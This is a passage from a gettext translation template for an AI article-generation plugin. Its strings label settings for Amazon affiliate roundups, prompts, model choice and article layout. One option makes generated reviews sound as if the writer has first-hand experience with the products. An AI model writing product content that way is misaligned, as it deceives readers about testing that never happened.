res/aiomatic-main.php:4500 res/aiomatic-main.php:4877 #: res/aiomatic-main.php:5890 res/aiomatic-main.php:5993 #: res/aiomatic-main.php:6122 res/aiomatic-main.php:6359 #: res/aiomatic-main.php:7803 res/aiomatic-main.php:7979 #: res/aiomatic-main.php:8936 res/aiomatic-review-list.php:377 #: res/aiomatic-review-list.php:3070 res/aiomatic-rules-list.php:362 #: res/aiomatic-rules-list.php:3204 res/aiomatic-single-list.php:1414 #: res/aiomatic-single-list.php:2617 res/aiomatic-single-list.php:3820 #: res/aiomatic-single-list.php:4572 res/aiomatic-single-list.php:5842 #: res/aiomatic-single-list.php:7139 res/aiomatic-spinner-list.php:1112 #: res/aiomatic-spinner-list.php:1892 res/aiomatic-spinner-list.php:2125 #: res/aiomatic-spinner-list.php:2682 res/aiomatic-spinner-list.php:2953 #: res/aiomatic-spinner-list.php:3128 res/aiomatic-spinner-list.php:3322 #: res/aiomatic-spinner-list.php:3511 res/aiomatic-spinner-list.php:3752 #: res/aiomatic-youtube-list.php:347 res/aiomatic-youtube-list.php:2930 #: res/image-seo/seo-panel.php:60 msgid "AI Assistant Name:" msgstr "" #: res/aiomatic-amazon-list.php:408 res/aiomatic-amazon-list.php:3023 #: res/aiomatic-review-list.php:408 res/aiomatic-review-list.php:3100 #: res/aiomatic-single-list.php:5873 res/aiomatic-single-list.php:7170 msgid "Amazon Search Options" msgstr "" #: res/aiomatic-amazon-list.php:416 res/aiomatic-amazon-list.php:3026 #: res/aiomatic-chatbot.php:3486 res/aiomatic-review-list.php:416 #: res/aiomatic-review-list.php:3103 res/aiomatic-single-list.php:5881 #: res/aiomatic-single-list.php:7178 #, php-format msgid "" "Insert your Amazon Associate ID (Optional). Learn how to get one here. Also, you need to sign up for Amazon " "Affiliate program here." msgstr "" #: res/aiomatic-amazon-list.php:420 res/aiomatic-review-list.php:420 #: res/aiomatic-single-list.php:5885 res/aiomatic-single-list.php:7182 msgid "Amazon Associate ID (Optional):" msgstr "" #: res/aiomatic-amazon-list.php:436 res/aiomatic-chatbot.php:3506 #: res/aiomatic-review-list.php:436 res/aiomatic-single-list.php:5901 #: res/aiomatic-single-list.php:7198 msgid "Amazon Target Country:" msgstr "" #: res/aiomatic-amazon-list.php:455 res/aiomatic-single-list.php:5920 msgid "" "Do you want to set a minimum price for the imported item? Price is in " "pennies: 1000 is 10$." msgstr "" #: res/aiomatic-amazon-list.php:459 res/aiomatic-single-list.php:5924 msgid "Min Price in Pennies:" msgstr "" #: res/aiomatic-amazon-list.php:471 res/aiomatic-single-list.php:5936 msgid "" "Do you want to set a maximum price for the imported item? Price is in " "pennies: 1000 is 10$." msgstr "" #: res/aiomatic-amazon-list.php:475 res/aiomatic-single-list.php:5940 msgid "Max Price in Pennies:" msgstr "" #: res/aiomatic-amazon-list.php:486 res/aiomatic-single-list.php:5951 msgid "" "Enter the maximum number of products to include in the product roundup " "article. You can also enter number ranges like: 3-4" msgstr "" #: res/aiomatic-amazon-list.php:490 res/aiomatic-chatbot.php:3534 #: res/aiomatic-single-list.php:5955 msgid "Max Number Of Products To Include:" msgstr "" #: res/aiomatic-amazon-list.php:502 res/aiomatic-single-list.php:5967 msgid "" "Select the type of sorting of the returned results. This will work only if " "you also set a value to the 'Amazon Category' settings field." msgstr "" #: res/aiomatic-amazon-list.php:506 res/aiomatic-chatbot.php:3550 #: res/aiomatic-single-list.php:5971 msgid "Sort Results By:" msgstr "" #: res/aiomatic-amazon-list.php:526 res/aiomatic-amazon-list.php:3138 #: res/aiomatic-single-list.php:5991 msgid "" "If enabled, the products will be shuffled, randomizing their order on each " "run." msgstr "" #: res/aiomatic-amazon-list.php:530 res/aiomatic-single-list.php:5995 msgid "Randomize Product Order:" msgstr "" #: res/aiomatic-amazon-list.php:537 res/aiomatic-amazon-list.php:3153 #: res/aiomatic-review-list.php:450 res/aiomatic-review-list.php:3131 #: res/aiomatic-single-list.php:6002 res/aiomatic-single-list.php:7212 msgid "AI Writer Options" msgstr "" #: res/aiomatic-amazon-list.php:545 res/aiomatic-amazon-list.php:3157 #: res/aiomatic-single-list.php:6010 msgid "" "If enabled, the article will be written from a perspective that sometimes " "can make it sound like the writer has first-hand experience with the " "products." msgstr "" #: res/aiomatic-amazon-list.php:549 res/aiomatic-single-list.php:6014 msgid "Enable First-Hand Experience:" msgstr "" #: res/aiomatic-amazon-list.php:560 res/aiomatic-amazon-list.php:3175 #: res/aiomatic-review-list.php:487 res/aiomatic-review-list.php:3160 #: res/aiomatic-single-list.php:6025 res/aiomatic-single-list.php:7249 msgid "Select what you want to do with product titles in articles." msgstr "" #: res/aiomatic-amazon-list.php:564 res/aiomatic-single-list.php:6029 msgid "Add Product Titles To Content As:" msgstr "" #: res/aiomatic-amazon-list.php:568 res/aiomatic-amazon-list.php:3186 #: res/aiomatic-listicle-list.php:456 res/aiomatic-listicle-list.php:2981 #: res/aiomatic-review-list.php:495 res/aiomatic-review-list.php:3171 #: res/aiomatic-rules-list.php:471 res/aiomatic-rules-list.php:3310 #: res/aiomatic-single-list.php:1508 res/aiomatic-single-list.php:2711 #: res/aiomatic-single-list.php:4699 res/aiomatic-single-list.php:6033 #: res/aiomatic-single-list.php:7257 res/aiomatic-youtube-list.php:474 #: res/aiomatic-youtube-list.php:3041 msgid "h2" msgstr "" #: res/aiomatic-amazon-list.php:569 res/aiomatic-amazon-list.php:3191 #: res/aiomatic-listicle-list.php:457 res/aiomatic-listicle-list.php:2986 #: res/aiomatic-review-list.php:496 res/aiomatic-review-list.php:3176 #: res/aiomatic-rules-list.php:472 res/aiomatic-rules-list.php:3315 #: res/aiomatic-single-list.php:1509 res/aiomatic-single-list.php:2712 #: res/aiomatic-single-list.php:4700 res/aiomatic-single-list.php:6034 #: res/aiomatic-single-list.php:7258 res/aiomatic-youtube-list.php:475 #: res/aiomatic-youtube-list.php:3046 msgid "h3" msgstr "" #: res/aiomatic-amazon-list.php:570 res/aiomatic-amazon-list.php:3196 #: res/aiomatic-listicle-list.php:458 res/aiomatic-listicle-list.php:2991 #: res/aiomatic-review-list.php:497 res/aiomatic-review-list.php:3181 #: res/aiomatic-rules-list.php:473 res/aiomatic-rules-list.php:3320 #: res/aiomatic-single-list.php:1510 res/aiomatic-single-list.php:2713 #: res/aiomatic-single-list.php:4701 res/aiomatic-single-list.php:6035 #: res/aiomatic-single-list.php:7259 res/aiomatic-youtube-list.php:476 #: res/aiomatic-youtube-list.php:3051 msgid "Bold" msgstr "" #: res/aiomatic-amazon-list.php:571 res/aiomatic-amazon-list.php:3201 #: res/aiomatic-listicle-list.php:459 res/aiomatic-listicle-list.php:2996 #: res/aiomatic-review-list.php:498 res/aiomatic-review-list.php:3186 #: res/aiomatic-rules-list.php:474 res/aiomatic-rules-list.php:3325 #: res/aiomatic-single-list.php:1511 res/aiomatic-single-list.php:2714 #: res/aiomatic-single-list.php:4702 res/aiomatic-single-list.php:6036 #: res/aiomatic-single-list.php:7260 res/aiomatic-youtube-list.php:477 #: res/aiomatic-youtube-list.php:3056 msgid "Italic" msgstr "" #: res/aiomatic-amazon-list.php:572 res/aiomatic-amazon-list.php:3206 #: res/aiomatic-listicle-list.php:460 res/aiomatic-listicle-list.php:3001 #: res/aiomatic-review-list.php:499 res/aiomatic-review-list.php:3191 #: res/aiomatic-rules-list.php:475 res/aiomatic-rules-list.php:3330 #: res/aiomatic-single-list.php:1512 res/aiomatic-single-list.php:2715 #: res/aiomatic-single-list.php:4703 res/aiomatic-single-list.php:6037 #: res/aiomatic-single-list.php:7261 res/aiomatic-youtube-list.php:478 #: res/aiomatic-youtube-list.php:3061 msgid "Bold and Italic" msgstr "" #: res/aiomatic-amazon-list.php:573 res/aiomatic-amazon-list.php:3211 #: res/aiomatic-listicle-list.php:461 res/aiomatic-listicle-list.php:3006 #: res/aiomatic-review-list.php:500 res/aiomatic-review-list.php:3196 #: res/aiomatic-rules-list.php:476 res/aiomatic-rules-list.php:3335 #: res/aiomatic-single-list.php:1513 res/aiomatic-single-list.php:2716 #: res/aiomatic-single-list.php:4704 res/aiomatic-single-list.php:6038 #: res/aiomatic-single-list.php:7262 res/aiomatic-youtube-list.php:479 #: res/aiomatic-youtube-list.php:3066 msgid "Paragraph" msgstr "" #: res/aiomatic-amazon-list.php:574 res/aiomatic-amazon-list.php:3216 #: res/aiomatic-listicle-list.php:462 res/aiomatic-listicle-list.php:3011 #: res/aiomatic-review-list.php:501 res/aiomatic-review-list.php:3201 #: res/aiomatic-rules-list.php:477 res/aiomatic-rules-list.php:3340 #: res/aiomatic-single-list.php:1514 res/aiomatic-single-list.php:2717 #: res/aiomatic-single-list.php:4705 res/aiomatic-single-list.php:6039 #: res/aiomatic-single-list.php:7263 res/aiomatic-youtube-list.php:480 #: res/aiomatic-youtube-list.php:3071 msgid "Plain Text" msgstr "" #: res/aiomatic-amazon-list.php:575 res/aiomatic-amazon-list.php:3221 #: res/aiomatic-listicle-list.php:463 res/aiomatic-listicle-list.php:3016 #: res/aiomatic-review-list.php:502 res/aiomatic-review-list.php:3206 #: res/aiomatic-rules-list.php:478 res/aiomatic-rules-list.php:3345 #: res/aiomatic-single-list.php:1515 res/aiomatic-single-list.php:2718 #: res/aiomatic-single-list.php:4706 res/aiomatic-single-list.php:6040 #: res/aiomatic-single-list.php:7264 res/aiomatic-youtube-list.php:481 #: res/aiomatic-youtube-list.php:3076 msgid "Don't Add Sections" msgstr "" #: res/aiomatic-amazon-list.php:584 res/aiomatic-amazon-list.php:3228 #: res/aiomatic-review-list.php:511 res/aiomatic-review-list.php:3213 #: res/aiomatic-rules-list.php:487 res/aiomatic-rules-list.php:3352 #: res/aiomatic-single-list.php:2727 res/aiomatic-single-list.php:4715 #: res/aiomatic-single-list.php:6049 res/aiomatic-single-list.php:7273 #: res/aiomatic-youtube-list.php:490 res/aiomatic-youtube-list.php:3083 #, php-format msgid "" "Enter the number of paragraphs to create for each section. These will also " "be set as article headings. You can also set value ranges, example: 5-7. In " "this case, a random number will be selected in this range. Please use only " "numeric values in this field. This field will set the value of the " "%%paragraphs_per_section%% shortcode." msgstr "" #: res/aiomatic-amazon-list.php:588 res/aiomatic-review-list.php:515 #: res/aiomatic-rules-list.php:491 res/aiomatic-single-list.php:2731 #: res/aiomatic-single-list.php:4719 res/aiomatic-single-list.php:6053 #: res/aiomatic-single-list.php:7277 res/aiomatic-youtube-list.php:494 msgid "Number Of Paragraphs Per Section:" msgstr "" #: res/aiomatic-amazon-list.php:599 res/aiomatic-amazon-list.php:3240 #: res/aiomatic-single-list.php:6064 msgid "Select if you want to add the product images to the article." msgstr "" #: res/aiomatic-amazon-list.php:603 res/aiomatic-review-list.php:530 #: res/aiomatic-single-list.php:6068 res/aiomatic-single-list.php:7292 msgid "Add Product Images To The Article:" msgstr "" #: res/aiomatic-amazon-list.php:614 res/aiomatic-amazon-list.php:3257 #: res/aiomatic-review-list.php:541 res/aiomatic-review-list.php:3242 #: res/aiomatic-single-list.php:6079 res/aiomatic-single-list.php:7303 msgid "Select if you don't want to add the product links directly to headings." msgstr "" #: res/aiomatic-amazon-list.php:618 res/aiomatic-review-list.php:545 #: res/aiomatic-single-list.php:6083 res/aiomatic-single-list.php:7307 msgid "Don't Add Product Links to Headings:" msgstr "" #: res/aiomatic-amazon-list.php:629 res/aiomatic-amazon-list.php:3274 #: res/aiomatic-review-list.php:556 res/aiomatic-review-list.php:3259 #: res/aiomatic-single-list.php:6094 res/aiomatic-single-list.php:7318 msgid "" "Select if you would like to add a relevant YouTube video to the end of the " "created article." msgstr "" #: res/aiomatic-amazon-list.php:633 res/aiomatic-review-list.php:560 #: res/aiomatic-single-list.php:6098 res/aiomatic-single-list.php:7322 msgid "Add A Relevant YouTube Video To The Article:" msgstr "" #: res/aiomatic-amazon-list.php:644 res/aiomatic-listicle-list.php:553 #: res/aiomatic-review-list.php:571 res/aiomatic-rules-list.php:568 #: res/aiomatic-single-list.php:1605 res/aiomatic-single-list.php:2808 #: res/aiomatic-single-list.php:4796 res/aiomatic-single-list.php:6109 #: res/aiomatic-single-list.php:7333 res/aiomatic-youtube-list.php:571 msgid "Set the text of the outro section header. This is optional." msgstr "" #: res/aiomatic-amazon-list.php:648 res/aiomatic-listicle-list.php:557 #: res/aiomatic-review-list.php:575 res/aiomatic-rules-list.php:572 #: res/aiomatic-single-list.php:1609 res/aiomatic-single-list.php:2812 #: res/aiomatic-single-list.php:4800 res/aiomatic-single-list.php:6113 #: res/aiomatic-single-list.php:7337 res/aiomatic-youtube-list.php:575 msgid "Article Outro Section Header Text:" msgstr "" #: res/aiomatic-amazon-list.php:660 res/aiomatic-amazon-list.php:3302 #: res/aiomatic-listicle-list.php:569 res/aiomatic-listicle-list.php:3120 #: res/aiomatic-review-list.php:587 res/aiomatic-review-list.php:3287 #: res/aiomatic-rules-list.php:584 res/aiomatic-rules-list.php:3449 #: res/aiomatic-single-list.php:1621 res/aiomatic-single-list.php:2824 #: res/aiomatic-single-list.php:4812 res/aiomatic-single-list.php:6125 #: res/aiomatic-single-list.php:7349 res/aiomatic-youtube-list.php:587 #: res/aiomatic-youtube-list.php:3184 msgid "" "Select if you want to add a Table of Contents section to the created post." msgstr "" #: res/aiomatic-amazon-list.php:664 res/aiomatic-review-list.php:591 #: res/aiomatic-single-list.php:6129 res/aiomatic-single-list.php:7353 msgid "Add Article 'Table Of Contents':" msgstr "" #: res/aiomatic-amazon-list.php:676 res/aiomatic-amazon-list.php:3320 #: res/aiomatic-listicle-list.php:585 res/aiomatic-listicle-list.php:3138 #: res/aiomatic-review-list.php:603 res/aiomatic-review-list.php:3305 #: res/aiomatic-rules-list.php:600 res/aiomatic-rules-list.php:3467 #: res/aiomatic-single-list.php:1637 res/aiomatic-single-list.php:2840 #: res/aiomatic-single-list.php:4828 res/aiomatic-single-list.php:6141 #: res/aiomatic-single-list.php:7365 res/aiomatic-youtube-list.php:603 #: res/aiomatic-youtube-list.php:3202 msgid "" "Set the text of the Table of Contents section header. Default is: Table of " "Contents" msgstr "" #: res/aiomatic-amazon-list.php:680 res/aiomatic-review-list.php:607 #: res/aiomatic-single-list.php:6145 res/aiomatic-single-list.php:7369 msgid "Article 'Table Of Contents' Section Header Text:" msgstr "" #: res/aiomatic-amazon-list.php:691 res/aiomatic-amazon-list.php:3332 #: res/aiomatic-listicle-list.php:600 res/aiomatic-listicle-list.php:3150 #: res/aiomatic-review-list.php:678 res/aiomatic-review-list.php:3377 #: res/aiomatic-rules-list.php:615 res/aiomatic-rules-list.php:3479 #: res/aiomatic-single-list.php:1652 res/aiomatic-single-list.php:2855 #: res/aiomatic-single-list.php:4843 res/aiomatic-single-list.php:6156 #: res/aiomatic-single-list.php:7440 res/aiomatic-youtube-list.php:618 #: res/aiomatic-youtube-list.php:3214 msgid "" "Select if you want to add a Q&A section to the created post. To enable Q&A " "for articles, be sure to add a prompt also in the 'Article Q&A Prompt' " "settings field from below." msgstr "" #: res/aiomatic-amazon-list.php:695 res/aiomatic-review-list.php:682 #: res/aiomatic-single-list.php:6160 res/aiomatic-single-list.php:7444 msgid "Add Article 'Q&A' Section:" msgstr "" #: res/aiomatic-amazon-list.php:706 res/aiomatic-listicle-list.php:615 #: res/aiomatic-review-list.php:693 res/aiomatic-rules-list.php:630 #: res/aiomatic-single-list.php:1667 res/aiomatic-single-list.php:2870 #: res/aiomatic-single-list.php:4858 res/aiomatic-single-list.php:6171 #: res/aiomatic-single-list.php:7455 res/aiomatic-youtube-list.php:633 msgid "Set the text of the Q&A section header. Default is: Q&A" msgstr "" #: res/aiomatic-amazon-list.php:710 res/aiomatic-review-list.php:697 #: res/aiomatic-single-list.php:6175 res/aiomatic-single-list.php:7459 msgid "Article 'Q&A' Section Header Text:" msgstr "" #: res/aiomatic-amazon-list.php:721 res/aiomatic-amazon-list.php:3362 #: res/aiomatic-single-list.php:6186 msgid "" "Select if you want to add a product comparison table to the created article." msgstr "" #: res/aiomatic-amazon-list.php:725 res/aiomatic-single-list.php:6190 msgid "Add Product Comparison Table:" msgstr "" #: res/aiomatic-amazon-list.php:732 res/aiomatic-amazon-list.php:3377 #: res/aiomatic-listicle-list.php:626 res/aiomatic-listicle-list.php:3177 #: res/aiomatic-review-list.php:704 res/aiomatic-review-list.php:3404 #: res/aiomatic-rules-list.php:641 res/aiomatic-rules-list.php:3506 #: res/aiomatic-single-list.php:701 res/aiomatic-single-list.php:1678 #: res/aiomatic-single-list.php:2881 res/aiomatic-single-list.php:4869 #: res/aiomatic-single-list.php:6197 res/aiomatic-single-list.php:7466 #: res/aiomatic-youtube-list.php:644 res/aiomatic-youtube-list.php:3241 msgid "Content Parameters" msgstr "" #: res/aiomatic-amazon-list.php:739 res/aiomatic-amazon-list.php:3381 #: res/aiomatic-listicle-list.php:633 res/aiomatic-listicle-list.php:3181 #: res/aiomatic-review-list.php:711 res/aiomatic-review-list.php:3408 #: res/aiomatic-rules-list.php:648 res/aiomatic-rules-list.php:3510 #: res/aiomatic-single-list.php:1685 res/aiomatic-single-list.php:2888 #: res/aiomatic-single-list.php:4876 res/aiomatic-single-list.php:6204 #: res/aiomatic-single-list.php:7473 res/aiomatic-youtube-list.php:651 #: res/aiomatic-youtube-list.php:3245 #, php-format msgid "" "Set the language of the created content. This will set the value of the " "%%language%% shortcode, which can be used in prompts below. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:743 res/aiomatic-listicle-list.php:637 #: res/aiomatic-review-list.php:715 res/aiomatic-rules-list.php:652 #: res/aiomatic-single-list.php:1689 res/aiomatic-single-list.php:2892 #: res/aiomatic-single-list.php:4880 res/aiomatic-single-list.php:6208 #: res/aiomatic-single-list.php:7477 res/aiomatic-youtube-list.php:655 msgid "Content Language:" msgstr "" #: res/aiomatic-amazon-list.php:762 res/aiomatic-amazon-list.php:3393 #: res/aiomatic-listicle-list.php:656 res/aiomatic-listicle-list.php:3193 #: res/aiomatic-review-list.php:734 res/aiomatic-review-list.php:3420 #: res/aiomatic-rules-list.php:671 res/aiomatic-rules-list.php:3522 #: res/aiomatic-single-list.php:1708 res/aiomatic-single-list.php:2911 #: res/aiomatic-single-list.php:4899 res/aiomatic-single-list.php:6227 #: res/aiomatic-single-list.php:7496 res/aiomatic-youtube-list.php:674 #: res/aiomatic-youtube-list.php:3257 #, php-format msgid "" "Set the writing style of the created content. This will set the value of the " "%%writing_style%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:766 res/aiomatic-listicle-list.php:660 #: res/aiomatic-review-list.php:738 res/aiomatic-rules-list.php:675 #: res/aiomatic-single-list.php:1712 res/aiomatic-single-list.php:2915 #: res/aiomatic-single-list.php:4903 res/aiomatic-single-list.php:6231 #: res/aiomatic-single-list.php:7500 res/aiomatic-youtube-list.php:678 msgid "Writing Style:" msgstr "" #: res/aiomatic-amazon-list.php:826 res/aiomatic-amazon-list.php:3405 #: res/aiomatic-listicle-list.php:720 res/aiomatic-listicle-list.php:3205 #: res/aiomatic-review-list.php:798 res/aiomatic-review-list.php:3432 #: res/aiomatic-rules-list.php:735 res/aiomatic-rules-list.php:3534 #: res/aiomatic-single-list.php:1772 res/aiomatic-single-list.php:2975 #: res/aiomatic-single-list.php:4963 res/aiomatic-single-list.php:6291 #: res/aiomatic-single-list.php:7560 res/aiomatic-youtube-list.php:738 #: res/aiomatic-youtube-list.php:3269 #, php-format msgid "" "Set the writing tone of the created content. This will set the value of the " "%%writing_tone%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:830 res/aiomatic-listicle-list.php:724 #: res/aiomatic-review-list.php:802 res/aiomatic-rules-list.php:739 #: res/aiomatic-single-list.php:1776 res/aiomatic-single-list.php:2979 #: res/aiomatic-single-list.php:4967 res/aiomatic-single-list.php:6295 #: res/aiomatic-single-list.php:7564 res/aiomatic-youtube-list.php:742 msgid "Writing Tone:" msgstr "" #: res/aiomatic-amazon-list.php:875 res/aiomatic-amazon-list.php:3414 #: res/aiomatic-listicle-list.php:769 res/aiomatic-listicle-list.php:3214 #: res/aiomatic-review-list.php:869 res/aiomatic-review-list.php:3484 #: res/aiomatic-rules-list.php:784 res/aiomatic-rules-list.php:3543 #: res/aiomatic-single-list.php:908 res/aiomatic-single-list.php:1821 #: res/aiomatic-single-list.php:3024 res/aiomatic-single-list.php:5012 #: res/aiomatic-single-list.php:6340 res/aiomatic-single-list.php:7631 #: res/aiomatic-youtube-list.php:787 res/aiomatic-youtube-list.php:3278 msgid "Prompts" msgstr "" #: res/aiomatic-amazon-list.php:882 res/aiomatic-single-list.php:6347 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:886 res/aiomatic-listicle-list.php:780 #: res/aiomatic-review-list.php:880 res/aiomatic-rules-list.php:795 #: res/aiomatic-single-list.php:1832 res/aiomatic-single-list.php:3035 #: res/aiomatic-single-list.php:5023 res/aiomatic-single-list.php:6351 #: res/aiomatic-single-list.php:7642 res/aiomatic-youtube-list.php:798 msgid "Title Prompt:" msgstr "" #: res/aiomatic-amazon-list.php:897 res/aiomatic-amazon-list.php:3431 #: res/aiomatic-listicle-list.php:791 res/aiomatic-listicle-list.php:3231 #: res/aiomatic-review-list.php:891 res/aiomatic-review-list.php:3501 #: res/aiomatic-rules-list.php:806 res/aiomatic-rules-list.php:3560 #: res/aiomatic-single-list.php:1843 res/aiomatic-single-list.php:3046 #: res/aiomatic-single-list.php:5034 res/aiomatic-single-list.php:6362 #: res/aiomatic-single-list.php:7653 res/aiomatic-youtube-list.php:809 #: res/aiomatic-youtube-list.php:3295 msgid "Select the AI Model to be used for the title generator." msgstr "" #: res/aiomatic-amazon-list.php:901 res/aiomatic-listicle-list.php:795 #: res/aiomatic-review-list.php:895 res/aiomatic-rules-list.php:810 #: res/aiomatic-single-list.php:1847 res/aiomatic-single-list.php:3050 #: res/aiomatic-single-list.php:5038 res/aiomatic-single-list.php:6366 #: res/aiomatic-single-list.php:7657 res/aiomatic-youtube-list.php:813 msgid "AI Model For Title Generator:" msgstr "" #: res/aiomatic-amazon-list.php:920 res/aiomatic-single-list.php:6385 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-amazon-list.php:924 res/aiomatic-listicle-list.php:818 #: res/aiomatic-review-list.php:918 res/aiomatic-rules-list.php:833 #: res/aiomatic-single-list.php:1870 res/aiomatic-single-list.php:3073 #: res/aiomatic-single-list.php:5061 res/aiomatic-single-list.php:6389 #: res/aiomatic-single-list.php:7680 res/aiomatic-youtube-list.php:836 msgid "Article Intro Prompt:" msgstr "" #: res/aiomatic-amazon-list.php:935 res/aiomatic-amazon-list.php:3473 #: res/aiomatic-listicle-list.php:829 res/aiomatic-listicle-list.php:3273 #: res/aiomatic-review-list.php:929 res/aiomatic-review-list.php:3543 #: res/aiomatic-rules-list.php:844 res/aiomatic-rules-list.php:3602 #: res/aiomatic-single-list.php:1881 res/aiomatic-single-list.php:3084 #: res/aiomatic-single-list.php:5072 res/aiomatic-single-list.php:6400 #: res/aiomatic-single-list.php:7691 res/aiomatic-youtube-list.php:847 #: res/aiomatic-youtube-list.php:3337 msgid "Select the AI Model to be used for the intro generator." msgstr "" #: res/aiomatic-amazon-list.php:939 res/aiomatic-listicle-list.php:833 #: res/aiomatic-review-list.php:933 res/aiomatic-rules-list.php:848 #: res/aiomatic-single-list.php:1885 res/aiomatic-single-list.php:3088 #: res/aiomatic-single-list.php:5076 res/aiomatic-single-list.php:6404 #: res/aiomatic-single-list.php:7695 res/aiomatic-youtube-list.php:851 msgid "AI Model For Intro Generator:" msgstr "" #: res/aiomatic-amazon-list.php:958 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%all_product_titles%%, %%article_so_far%%, " "%%last_section_content%%, %%all_product_info%%, %%product_title%%, " "%%product_description%%, %%product_author%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, " "%%product_list_price%%, %%offer_img%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, " "%%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. If you have access to the Amazon API, you can set it " "up in the plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-amazon-list.php:962 res/aiomatic-review-list.php:994 #: res/aiomatic-rules-list.php:909 res/aiomatic-single-list.php:3149 #: res/aiomatic-single-list.php:5137 res/aiomatic-single-list.php:6427 #: res/aiomatic-single-list.php:7756 res/aiomatic-youtube-list.php:912 msgid "Content Prompt:" msgstr "" #: res/aiomatic-amazon-list.php:973 res/aiomatic-amazon-list.php:3515 #: res/aiomatic-listicle-list.php:905 res/aiomatic-listicle-list.php:3357 #: res/aiomatic-review-list.php:1005 res/aiomatic-review-list.php:3627 #: res/aiomatic-rules-list.php:920 res/aiomatic-rules-list.php:3686 #: res/aiomatic-single-list.php:1957 res/aiomatic-single-list.php:3160 #: res/aiomatic-single-list.php:5148 res/aiomatic-single-list.php:6438 #: res/aiomatic-single-list.php:7767 res/aiomatic-youtube-list.php:923 #: res/aiomatic-youtube-list.php:3421 msgid "Select the AI Model to be used for the content generator." msgstr "" #: res/aiomatic-amazon-list.php:977 res/aiomatic-listicle-list.php:909 #: res/aiomatic-review-list.php:1009 res/aiomatic-rules-list.php:924 #: res/aiomatic-single-list.php:1961 res/aiomatic-single-list.php:3164 #: res/aiomatic-single-list.php:5152 res/aiomatic-single-list.php:6442 #: res/aiomatic-single-list.php:7771 res/aiomatic-youtube-list.php:927 msgid "AI Model For Content Generator:" msgstr "" #: res/aiomatic-amazon-list.php:996 res/aiomatic-single-list.php:6461 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-amazon-list.php:1000 res/aiomatic-listicle-list.php:947 #: res/aiomatic-review-list.php:1108 res/aiomatic-rules-list.php:962 #: res/aiomatic-single-list.php:1999 res/aiomatic-single-list.php:3202 #: res/aiomatic-single-list.php:5190 res/aiomatic-single-list.php:6465 #: res/aiomatic-single-list.php:7870 res/aiomatic-youtube-list.php:965 msgid "Article Q&A Prompt:" msgstr "" #: res/aiomatic-amazon-list.php:1011 res/aiomatic-amazon-list.php:3557 #: res/aiomatic-listicle-list.php:958 res/aiomatic-listicle-list.php:3417 #: res/aiomatic-review-list.php:1119 res/aiomatic-review-list.php:3753 #: res/aiomatic-rules-list.php:973 res/aiomatic-rules-list.php:3746 #: res/aiomatic-single-list.php:2010 